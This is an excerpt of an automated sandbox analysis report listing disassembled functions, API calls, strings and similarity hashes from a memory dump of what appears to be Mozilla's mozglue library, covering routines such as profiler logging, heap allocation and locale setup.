SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4F9670
NtMapViewOfSection, xrefs: 6C4F9701
ntdll.dll, xrefs: 6C4F96E3
MapViewOfFileNuma2, xrefs: 6C4F97B1

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: bb6d556121bcdf99a43dd40e673e46a1dfc8116d67cad5e366a27abe5b64d912
Instruction ID: f4695b0972a9d1ee97dd20ee30073727a5d03c1192d119a0d0b1920bf2bc682f
Opcode Fuzzy Hash: bb6d556121bcdf99a43dd40e673e46a1dfc8116d67cad5e366a27abe5b64d912
Instruction Fuzzy Hash: D141B4B0B00205DBDF00DFAADC84FAAB7B4EB89315F064229ED1697B50D731A815CBA5

Function 6C530000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C530039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C530041
GetCurrentThreadId.KERNEL32 ref: 6C530075
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C530082
moz_xmalloc.MOZGLUE(00000048), ref: 6C530090
free.MOZGLUE(?), ref: 6C530104
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C53011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C53005B

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 754c8cb4bf9c4c30e61d72fbb1f9519e5131d78046ca22baba75fdfa7773ad35
Instruction ID: a4122bad082abe39fbf79432aeeda211b622eb2068211f5ec7e3cb2f106ad989
Opcode Fuzzy Hash: 754c8cb4bf9c4c30e61d72fbb1f9519e5131d78046ca22baba75fdfa7773ad35
Instruction Fuzzy Hash: A6417D71A00354DFCB10DF69CC44AAABBF1FB89314F41451AE95A83B60E731A805CB95

Function 6C4F7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4F7EA7
malloc.MOZGLUE(00000001), ref: 6C4F7EB3

Part of subcall function 6C4FCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4FCB49
Part of subcall function 6C4FCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4FCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4F7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4F7F19
malloc.MOZGLUE(?), ref: 6C4F7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4F7F4D

Strings

d, xrefs: 6C4F7F89

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 225f74f39b800c2a6591d3a5a984812ecb39a456f0bb4b2be76a577f01891410
Instruction ID: 5faa96ecf770d2fe22d106dc52812853f51978d3f6815343f0b22ffd523e8ea3
Opcode Fuzzy Hash: 225f74f39b800c2a6591d3a5a984812ecb39a456f0bb4b2be76a577f01891410
Instruction Fuzzy Hash: 20310772E0438897EB01DB29CC049FEB778EFD5208F455229DC4957712FB30A998C395

Function 6C4F3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4F3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4F3CCC), ref: 6C4F4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4F40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4F4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4F3CCC), ref: 6C4F4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4F3CCC), ref: 6C4F4157

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6c725b0962b2ba1bb56354e0ab8ed3878e4274299386e18b614fc65424b1e7aa
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B2A17DB1A00205CFEB40CF28C980F59B7B5BF88348F65419AD919AF742D771E987CBA1

Function 6C539D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C538273), ref: 6C539D65
free.MOZGLUE(6C538273,?), ref: 6C539D7C
free.MOZGLUE(?,?), ref: 6C539D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C539E0F
free.MOZGLUE(6C53946B,?,?), ref: 6C539E24
free.MOZGLUE(?,?,?), ref: 6C539E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C539EC8
free.MOZGLUE(6C53946B,?,?,?), ref: 6C539EDF
free.MOZGLUE(?,?,?,?), ref: 6C539EF5

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 23b741218506f99b682ec417e25090ec64c99efec45c6a344db9ad626534659a
Instruction ID: 29c45ff64ecc414e9059576bbbde90cd86b33cd532ad97685d15d64698b092e3
Opcode Fuzzy Hash: 23b741218506f99b682ec417e25090ec64c99efec45c6a344db9ad626534659a
Instruction Fuzzy Hash: 79717EB0909B51CBD712CF18C88055BF3F5FF99315B449A59E89E9BB01EB30E885CB91

Function 6C53DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C53DDCF

Part of subcall function 6C51FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51FA4B

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DE0D
free.MOZGLUE(00000000), ref: 6C53DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C52DEFD,?,6C4F4A68), ref: 6C53DF32

Part of subcall function 6C53DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53DB86
Part of subcall function 6C53DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C52DEFD,?,6C4F4A68), ref: 6C53DF65
free.MOZGLUE(?), ref: 6C53DF80

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ab4d44b9aa136bad44af62d546696817db77e04561886340da387f60a8f5aef5
Instruction ID: 0ba9fa7b12210581ab753663d2d3fa8d288b5416ed447b6f31ca28a3a068c77b
Opcode Fuzzy Hash: ab4d44b9aa136bad44af62d546696817db77e04561886340da387f60a8f5aef5
Instruction Fuzzy Hash: C751E572B116209BD7219B28CC802AEB7B2BFD1318F96151DD85E53B40FB31F919DB92

Function 6C545D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545DC9
std::_Facet_Register.LIBCPMT ref: 6C545DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545E45

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4b945c47dd280399685c81b410dafe9976a2bd40501d813fe60da02769be76cd
Instruction ID: 6f9d8e28befad9d7a9ecb1485338f2ede8deadfc73f36a693b4750a40c954c2e
Opcode Fuzzy Hash: 4b945c47dd280399685c81b410dafe9976a2bd40501d813fe60da02769be76cd
Instruction Fuzzy Hash: DD418E71B002049FCB00EF69CC98AAE77B5FF89314F858069E50A9B791EB31ED05CB65

Function 6C51CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4E31A7), ref: 6C51CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C51CFA4, 6C51CFB8
<jemalloc>, xrefs: 6C51CF9F, 6C51CFB3

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 052623ad84848730ae17dda891d58e0911cb2b7ebc10d2150068183d97e7aead
Instruction ID: f28f402bff74b8e3d4fc3c2cca1c5475c7b0cbb2d79cb724f9dcbe719d920fbe
Opcode Fuzzy Hash: 052623ad84848730ae17dda891d58e0911cb2b7ebc10d2150068183d97e7aead
Instruction Fuzzy Hash: 8631D6307492055BFF11EEAA8C49B7E7BB5AF41714F204125F611ABED0DBB1E800C795

Function 6C4EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4EF100: LoadLibraryW.KERNEL32(shell32,?,6C55D020), ref: 6C4EF122
Part of subcall function 6C4EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4EEDCC
CreateFileW.KERNEL32 ref: 6C4EEE08
free.MOZGLUE(00000000), ref: 6C4EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4EEE32

Part of subcall function 6C4EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4EEBB5
Part of subcall function 6C4EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C51D7F3), ref: 6C4EEBC3
Part of subcall function 6C4EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C51D7F3), ref: 6C4EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4EEDC1

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a14cfe5d2a6fa07a8d28da56a167a70401f51c4db56176f4f0df54ab8d244d56
Instruction ID: 82bab807c4d6d3722fb9bfb2530781e88960d5150f91b5ecc21847333eda5aba
Opcode Fuzzy Hash: a14cfe5d2a6fa07a8d28da56a167a70401f51c4db56176f4f0df54ab8d244d56
Instruction Fuzzy Hash: D751CE71D052098BDB00DF68C880EEEB7B1AF5D319F46842DE8956B740E7306989CBE2

Function 6C55A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55A565

Part of subcall function 6C55A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C55A4BE
Part of subcall function 6C55A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C55A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C55A6B6

Strings

z, xrefs: 6C55A6AE
0, xrefs: 6C55A5FB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 782a34cddd541d1eb7d1c821522b6541d91536d05b0a59845da3714ba2b271e2
Instruction ID: cb784d3902cffcff2fe927255fd36f6226b232d5d2d4dbb4c1ff1a3269478256
Opcode Fuzzy Hash: 782a34cddd541d1eb7d1c821522b6541d91536d05b0a59845da3714ba2b271e2
Instruction Fuzzy Hash: 13414A719087459FC341DF28C480A9FBBE5BFC9354F808A2EF49987690E730E559CB92

Function 6C529420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
__Init_thread_footer.LIBCMT ref: 6C52949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C529459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C52947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C52946B

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 286995ad9721ddb3f3ed0dbc6b0b343546e2d3000b8f8b110c0578a83330582e
Instruction ID: f5dd440073c9fe3ff2cceeaf57bded6f6198bf6d333180213fc5c5dd64fd0652
Opcode Fuzzy Hash: 286995ad9721ddb3f3ed0dbc6b0b343546e2d3000b8f8b110c0578a83330582e
Instruction Fuzzy Hash: 3C01D870E0410187EB109B6EDC25B6E33B5BB4532AF050637D90686FB1D726E954899F

Function 6C530F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C530F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C530F88
GetCurrentThreadId.KERNEL32 ref: 6C530FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C531067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5310A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C53114B

Part of subcall function 6C528AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C541563), ref: 6C528BD5

free.MOZGLUE(?), ref: 6C531174
free.MOZGLUE(?), ref: 6C531186

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 895d68f2138f52d2351103f45b659bd111d6c631b4bc890bc733ade51acd7a01
Instruction ID: 2c5f85cd2e88e7c39e72cd2c5acf288b90e03747c8c5a9410e60e894ab8ea5f1
Opcode Fuzzy Hash: 895d68f2138f52d2351103f45b659bd111d6c631b4bc890bc733ade51acd7a01
Instruction Fuzzy Hash: 60619A75A043509BDB10DF25CD807AAB7F5AFC5308F05991DE88947611EB71E889CB82

Function 6C4EB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6AC

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4EB61E), ref: 6C4EB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB79A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
